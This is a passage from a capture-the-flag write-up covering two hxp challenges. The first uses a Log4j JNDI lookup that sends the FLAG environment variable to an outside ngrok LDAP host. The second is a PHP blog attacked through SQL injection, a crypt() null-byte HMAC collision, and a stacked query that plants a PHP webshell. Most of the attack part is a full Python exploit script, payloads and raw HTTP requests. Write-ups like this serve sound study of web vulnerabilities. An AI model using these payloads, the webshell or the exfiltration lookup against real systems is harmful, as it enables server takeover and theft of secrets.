I wasn't able to get full-on RCE, but information disclosure through this vector was sufficient! We could use ${env:FOO} to substitute the FOO environment variable into the URI.
$ ~ nc 65.108.176.77 1337
What is your favourite CTF?
${jndi:ldap://8.tcp.ngrok.io:16804/${env:FLAG}}
:(
We just have to start an LDAP server and listen for the queried URI.
hxp{Phew, I am glad I code everything in PHP anyhow :) - :( :( :(}
Shitty Blog
We could see that when inserting entries, the user_id is not validated. This is also directly substituted into the SQL query, allowing an SQL injection.
Interestingly, get_user uses $db->query, while delete_entry uses $db->exec. The exec() function allows multiline (stacked) queries, allowing us to use this RCE payload to upload a webshell.
functionget_user($db, $user_id) :string {foreach($db->query("SELECTnameFROM user WHERE id = {$user_id}")as $user) {return $user['name']; }return'me';}...functiondelete_entry($db, $entry_id, $user_id) { $db->exec("DELETEfromentryWHERE {$user_id} <>0AND id = {$entry_id}");}...if(isset($_POST['content'])) {insert_entry($db,htmlspecialchars($_POST['content']), $id);header('Location: /');exit;}$entries =get_entries($db);if(isset($_POST['delete'])) {foreach($entries as $key => $entry) {if($_POST['delete'] === $entry['id']){delete_entry($db, $entry['id'], $entry['user_id']);break; } }header('Location: /');exit;}
The difficulty lies in bypassing the following validation to insert a custom $id from the session cookie.
Notice that in hash_hmac(), binary=true is set but crypt() is not binary safe - the function only processes the input string up to a null byte terminator!
It would therefore be trivial to find two $id numbers that produce the same $mac by bruteforcing - this happens when hash_hmac() returns a result starting with \x00.
deffind_collision():""" Find an instance where two IDs produce '\x00' at the beginning of the hash_hmac() output, resulting in crypt(), which is a non binary safe function, returning the same value. Returns the MAC that corresponds to this result. """ results ={}whileTrue: r = requests.get(URL) cookie = r.headers['Set-Cookie'].split('=')[1] cookie = urllib.parse.unquote(cookie)id, mac = cookie.split('|')print(id, mac)if mac in results:return mac results[mac]=id
Since this $mac corresponds to the case where hash_hmac() returns a result starting with \x00, we would be able to bypass the following validation by using this $mac value in our session cookie, while changing the $id value in our session cookie until its HMAC starts with \x00.
This can be done by appending different things to the end of the payload (after an SQL comment) until we get a valid value. This value will produce a crypt() result corresponding to the $mac found previously.
deffind_exploit_collision(exploit,mac):""" Finds a collision with the exploit user ID string. Appends stuff to the back of the string until the hash_hmac() output begins with '\x00'. """ i =0 exploit = urllib.parse.quote_plus(exploit).replace('+', ' ')whileTrue:print(i) tmp = exploit +str(i)# Test if the hash_hmac() output begins with '\x00' (if it does, then the MAC is valid) r = requests.get(URL, cookies={'session': tmp +'|'+ mac})if"My shitty Blog"in r.text:return tmp i +=1
The full script to generate the exploit payload is as follows:
import requestsimport urllib.parseURL ="http://65.108.176.96:8888/"deffind_collision():""" Find an instance where two IDs produce '\x00' at the beginning of the hash_hmac() output, resulting in crypt(), which is a non binary safe function, returning the same value. Returns the MAC that corresponds to this result. """ results ={}whileTrue: r = requests.get(URL) cookie = r.headers['Set-Cookie'].split('=')[1] cookie = urllib.parse.unquote(cookie)id, mac = cookie.split('|')print(id, mac)if mac in results:return mac results[mac]=iddeffind_exploit_collision(exploit,mac):""" Finds a collision with the exploit user ID string. Appends stuff to the back of the string until the hash_hmac() output begins with '\x00'. """ i =0 exploit = urllib.parse.quote_plus(exploit).replace('+', ' ')whileTrue:print(i) tmp = exploit +str(i)# Test if the hash_hmac() output begins with '\x00' (if it does, then the MAC is valid) r = requests.get(URL, cookies={'session': tmp +'|'+ mac})if"My shitty Blog"in r.text:return tmp i +=1# mac = find_collision()mac ="QAhL.MoHxwRM3Bt/pMvSrjxnRCAxaim7VAtMVwCnNgsjtlWO3AKBcd1WY9NYPrxtUrTluTorPK4laJKcJydWB0"print(f"Found MAC: {mac}")exploit =find_exploit_collision("20 or 1=1; ATTACH DATABASE '/var/www/html/data/nice.php' AS lol; CREATE TABLE lol.pwn (dataz text); INSERT INTO lol.pwn (dataz) VALUES ('<?php system($_GET[\"cmd\"]); ?>');#", mac)print(f"Found exploit: {exploit}")print(f"Set session cookie: {exploit}|{mac}")
Once we obtain the payload, we first have to create an entry with the malicious user ID payload.
POST / HTTP/1.1Host:65.108.176.96Cookie:session=20 or 1%3D1%3B ATTACH DATABASE %27%2Fvar%2Fwww%2Fhtml%2Fdata%2Fnice.php%27 AS lol%3B CREATE TABLE lol.pwn %28dataz text%29%3B INSERT INTO lol.pwn %28dataz%29 VALUES %28%27%3C%3Fphp system%28%24_GET%5B%22cmd%22%5D%29%3B %3F%3E%27%29%3B%23178|QAhL.MoHxwRM3Bt/pMvSrjxnRCAxaim7VAtMVwCnNgsjtlWO3AKBcd1WY9NYPrxtUrTluTorPK4laJKcJydWB0Connection:closeContent-Length:12content=test
Next, we simply delete the created entry. This is when the user ID payload is substituted into the SQL query, causing a PHP file to be created.
POST / HTTP/1.1Host:65.108.176.96Cookie:session=20 or 1%3D1%3B ATTACH DATABASE %27%2Fvar%2Fwww%2Fhtml%2Fdata%2Fnice.php%27 AS lol%3B CREATE TABLE lol.pwn %28dataz text%29%3B INSERT INTO lol.pwn %28dataz%29 VALUES %28%27%3C%3Fphp system%28%24_GET%5B%22cmd%22%5D%29%3B %3F%3E%27%29%3B%23178|QAhL.MoHxwRM3Bt/pMvSrjxnRCAxaim7VAtMVwCnNgsjtlWO3AKBcd1WY9NYPrxtUrTluTorPK4laJKcJydWB0Connection:closeContent-Length:12content=test
Next, we simply have to visit our webshell to get the flag.
GET /data/nice.php?cmd=/readflag HTTP/1.1Host:65.108.176.96:8888Cookie:session=20 or 1%3D1%3B ATTACH DATABASE %27%2Fvar%2Fwww%2Fhtml%2Fdata%2Fnice.php%27 AS lol%3B CREATE TABLE lol.pwn %28dataz text%29%3B INSERT INTO lol.pwn %28dataz%29 VALUES %28%27%3C%3Fphp system%28%24_GET%5B%22cmd%22%5D%29%3B %3F%3E%27%29%3B%23598|dW8W.oyZd9VSfcnVaiWE2c8pYNHaOyXhBIzpXc2TTCPlPzvRdcHvMA8..6O2AftmrQYa287BZgFsLd9/Ki0ik/Connection:close